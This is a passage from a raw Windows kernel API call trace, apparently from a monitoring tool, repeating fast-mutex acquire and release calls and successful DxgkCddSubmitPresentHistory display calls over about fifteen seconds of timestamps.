ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0178.159] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0178.159] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0178.159] DxgkCddSubmitPresentHistory () returned 0x0 [0178.206] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0178.206] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0178.206] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0178.206] DxgkCddSubmitPresentHistory () returned 0x0 [0178.268] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0178.268] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0178.268] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0178.268] DxgkCddSubmitPresentHistory () returned 0x0 [0178.331] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0178.331] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0178.331] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0178.331] DxgkCddSubmitPresentHistory () returned 0x0 [0178.393] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0178.393] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0178.394] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0178.394] DxgkCddSubmitPresentHistory () returned 0x0 [0178.471] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0178.471] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0178.471] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0178.471] DxgkCddSubmitPresentHistory () returned 0x0 [0178.518] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0178.518] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0178.518] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0178.518] DxgkCddSubmitPresentHistory () returned 0x0 [0178.596] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0178.597] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0178.597] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0178.597] DxgkCddSubmitPresentHistory () returned 0x0 [0178.643] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0178.643] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0178.644] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0178.644] DxgkCddSubmitPresentHistory () returned 0x0 [0179.050] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0179.050] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0179.050] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0179.050] DxgkCddSubmitPresentHistory () returned 0x0 [0179.112] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0179.112] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0179.112] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0179.112] DxgkCddSubmitPresentHistory () returned 0x0 [0179.175] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0179.175] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0179.175] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0179.175] DxgkCddSubmitPresentHistory () returned 0x0 [0179.237] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0179.237] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0179.237] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0179.237] DxgkCddSubmitPresentHistory () returned 0x0 [0179.284] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0179.284] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0179.284] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0179.284] DxgkCddSubmitPresentHistory () returned 0x0 [0179.346] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0179.346] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0179.346] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0179.347] DxgkCddSubmitPresentHistory () returned 0x0 [0179.409] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0179.409] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0179.409] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0179.409] DxgkCddSubmitPresentHistory () returned 0x0 [0179.472] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0179.472] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0179.472] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0179.472] DxgkCddSubmitPresentHistory () returned 0x0 [0179.534] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0179.534] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0179.534] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0179.534] DxgkCddSubmitPresentHistory () returned 0x0 [0179.597] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0179.597] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0179.597] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0179.597] DxgkCddSubmitPresentHistory () returned 0x0 [0179.659] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0179.659] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0179.659] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0179.659] DxgkCddSubmitPresentHistory () returned 0x0 [0179.721] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0179.722] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0179.722] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0179.722] DxgkCddSubmitPresentHistory () returned 0x0 [0179.784] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0179.784] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0179.784] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0179.784] DxgkCddSubmitPresentHistory () returned 0x0 [0179.862] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0179.862] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0179.863] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0179.863] DxgkCddSubmitPresentHistory () returned 0x0 [0179.925] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0179.925] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0179.925] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0179.925] DxgkCddSubmitPresentHistory () returned 0x0 [0179.972] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0179.972] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0179.972] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0179.972] DxgkCddSubmitPresentHistory () returned 0x0 [0180.050] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0180.050] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0180.050] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0180.050] DxgkCddSubmitPresentHistory () returned 0x0 [0181.190] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0181.190] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0181.190] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0181.190] DxgkCddSubmitPresentHistory () returned 0x0 [0181.253] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0181.253] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0181.253] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0181.253] DxgkCddSubmitPresentHistory () returned 0x0 [0181.331] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0181.331] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0181.331] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0181.331] DxgkCddSubmitPresentHistory () returned 0x0 [0181.393] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0181.394] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0181.394] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0181.394] DxgkCddSubmitPresentHistory () returned 0x0 [0181.456] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0181.456] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0181.456] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0181.456] DxgkCddSubmitPresentHistory () returned 0x0 [0181.910] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0181.910] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0181.910] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0181.910] DxgkCddSubmitPresentHistory () returned 0x0 [0182.753] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0182.753] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0182.753] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0182.753] DxgkCddSubmitPresentHistory () returned 0x0 [0182.800] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0182.800] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0182.800] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0182.800] DxgkCddSubmitPresentHistory () returned 0x0 [0182.862] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0182.862] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0182.862] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0182.862] DxgkCddSubmitPresentHistory () returned 0x0 [0182.925] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0182.925] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0182.925] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0182.925] DxgkCddSubmitPresentHistory () returned 0x0 [0183.003] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0183.003] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0183.003] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0183.003] DxgkCddSubmitPresentHistory () returned 0x0 [0183.049] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0183.049] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0183.050] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0183.050] DxgkCddSubmitPresentHistory () returned 0x0 [0183.128] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0183.128] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0183.128] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0183.128] DxgkCddSubmitPresentHistory () returned 0x0 [0183.190] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0183.190] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0183.190] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0183.190] DxgkCddSubmitPresentHistory () returned 0x0 [0183.237] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0183.237] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0183.237] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0183.238] DxgkCddSubmitPresentHistory () returned 0x0 [0183.299] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0183.299] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0183.299] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0183.299] DxgkCddSubmitPresentHistory () returned 0x0 [0183.362] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0183.362] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0183.363] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0183.363] DxgkCddSubmitPresentHistory () returned 0x0 [0183.425] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0183.425] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0183.425] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0183.425] DxgkCddSubmitPresentHistory () returned 0x0 [0183.504] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0183.504] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0183.504] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0183.504] DxgkCddSubmitPresentHistory () returned 0x0 [0183.550] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0183.550] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0183.550] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0183.550] DxgkCddSubmitPresentHistory () returned 0x0 [0183.612] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0183.612] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0183.612] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0183.612] DxgkCddSubmitPresentHistory () returned 0x0 [0183.690] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0183.690] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0183.691] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0183.691] DxgkCddSubmitPresentHistory () returned 0x0 [0183.737] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0183.737] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0183.737] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0183.737] DxgkCddSubmitPresentHistory () returned 0x0 [0185.222] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0185.222] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0185.222] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0185.222] DxgkCddSubmitPresentHistory () returned 0x0 [0185.268] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0185.268] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0185.269] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0185.269] DxgkCddSubmitPresentHistory () returned 0x0 [0185.347] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0185.347] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0185.347] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0185.347] DxgkCddSubmitPresentHistory () returned 0x0 [0185.409] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0185.409] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0185.409] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0185.409] DxgkCddSubmitPresentHistory () returned 0x0 [0185.456] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0185.456] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0185.456] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0185.456] DxgkCddSubmitPresentHistory () returned 0x0 [0186.081] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0186.081] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0186.081] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0186.081] DxgkCddSubmitPresentHistory () returned 0x0 [0187.691] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0187.691] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0187.691] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0187.691] DxgkCddSubmitPresentHistory () returned 0x0 [0187.987] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0187.987] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0187.987] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0187.987] DxgkCddSubmitPresentHistory () returned 0x0 [0188.065] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0188.065] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0188.065] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0188.065] DxgkCddSubmitPresentHistory () returned 0x0 [0188.096] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0188.096] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0188.096] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0188.096] DxgkCddSubmitPresentHistory () returned 0x0 [0188.175] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0188.175] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0188.175] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0188.175] DxgkCddSubmitPresentHistory () returned 0x0 [0188.221] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0188.221] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0188.221] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0188.221] DxgkCddSubmitPresentHistory () returned 0x0 [0188.284] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0188.284] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0188.284] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0188.284] DxgkCddSubmitPresentHistory () returned 0x0 [0188.347] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0188.347] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0188.347] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0188.347] DxgkCddSubmitPresentHistory () returned 0x0 [0188.409] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0188.409] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0188.409] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0188.409] DxgkCddSubmitPresentHistory () returned 0x0 [0188.488] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0188.488] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0188.488] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0188.488] DxgkCddSubmitPresentHistory () returned 0x0 [0188.550] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0188.550] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0188.550] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0188.550] DxgkCddSubmitPresentHistory () returned 0x0 [0188.597] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0188.597] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0188.597] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0188.597] DxgkCddSubmitPresentHistory () returned 0x0 [0188.675] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0188.675] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0188.675] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0188.675] DxgkCddSubmitPresentHistory () returned 0x0 [0188.737] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0188.737] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0188.737] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0188.738] DxgkCddSubmitPresentHistory () returned 0x0 [0188.784] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0188.784] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0188.784] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0188.784] DxgkCddSubmitPresentHistory () returned 0x0 [0188.862] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0188.862] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0188.862] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0188.862] DxgkCddSubmitPresentHistory () returned 0x0 [0188.909] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0188.909] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0188.909] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0188.909] DxgkCddSubmitPresentHistory () returned 0x0 [0188.987] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0188.987] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0188.988] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0188.988] DxgkCddSubmitPresentHistory () returned 0x0 [0190.409] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0190.409] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0190.410] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0190.410] DxgkCddSubmitPresentHistory () returned 0x0 [0190.471] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0190.471] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0190.471] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0190.471] DxgkCddSubmitPresentHistory () returned 0x0 [0190.534] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0190.534] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0190.534] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0190.534] DxgkCddSubmitPresentHistory () returned 0x0 [0190.612] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0190.612] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0190.612] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0190.612] DxgkCddSubmitPresentHistory () returned 0x0 [0190.659] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0190.659] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0190.659] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0190.660] DxgkCddSubmitPresentHistory () returned 0x0 [0190.862] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0190.862] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0190.862] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0190.862] DxgkCddSubmitPresentHistory () returned 0x0 [0193.393] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0193.393] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0193.393] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion 